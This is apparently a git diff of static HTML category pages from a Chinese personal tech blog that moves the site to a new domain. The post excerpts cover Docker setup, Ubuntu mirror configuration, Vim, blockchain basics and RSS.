+absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://chenjunlinabc.github.io/posts/24/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
 在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现
@@ -123,7 +98,7 @@
 配置稳定Docker CE源
 sudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable”
 安装docker引擎
-sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://xiaochenabc123.github.io/posts/18/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
+sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://chenjunlinabc.github.io/posts/18/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
 区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）
@@ -174,8 +149,8 @@
 软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已
 解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉
 最经典的例子就是拜占庭将军问题
-主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://xiaochenabc123.github.io/posts/15/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/6/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://chenjunlinabc.github.io/posts/15/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/6/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/page/8/index.html" "b/categories/\346\212\200\346\234\257/page/8/index.html"
index f1ee2c6d..e5cdba06 100644
--- "a/categories/\346\212\200\346\234\257/page/8/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/8/index.html"
@@ -1,20 +1,10 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# 预发布软件源，不建议启用
-# deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://xiaochenabc123.github.io/posts/8/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vim编辑器</h2></header><div class=entry-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://chenjunlinabc.github.io/posts/8/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vim编辑器</h2></header><div class=entry-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
 普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）
@@ -43,7 +33,7 @@
 ?text：按n健查找上一个，按N健查找下一个
 :wq：保存并且退出，加!表示强制
 :q!：强制退出并且放弃所有更改
-:e!：放弃修改，并且重新打开文件</p></div><footer class=entry-footer><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vim编辑器" href=https://xiaochenabc123.github.io/posts/3/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/7/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+:e!：放弃修改，并且重新打开文件</p></div><footer class=entry-footer><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vim编辑器" href=https://chenjunlinabc.github.io/posts/3/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/7/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/index.html" "b/categories/\351\273\230\350\256\244/index.html"
index 669262d8..d1f94789 100644
--- "a/categories/\351\273\230\350\256\244/index.html"
+++ "b/categories/\351\273\230\350\256\244/index.html"
@@ -1,25 +1,11 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
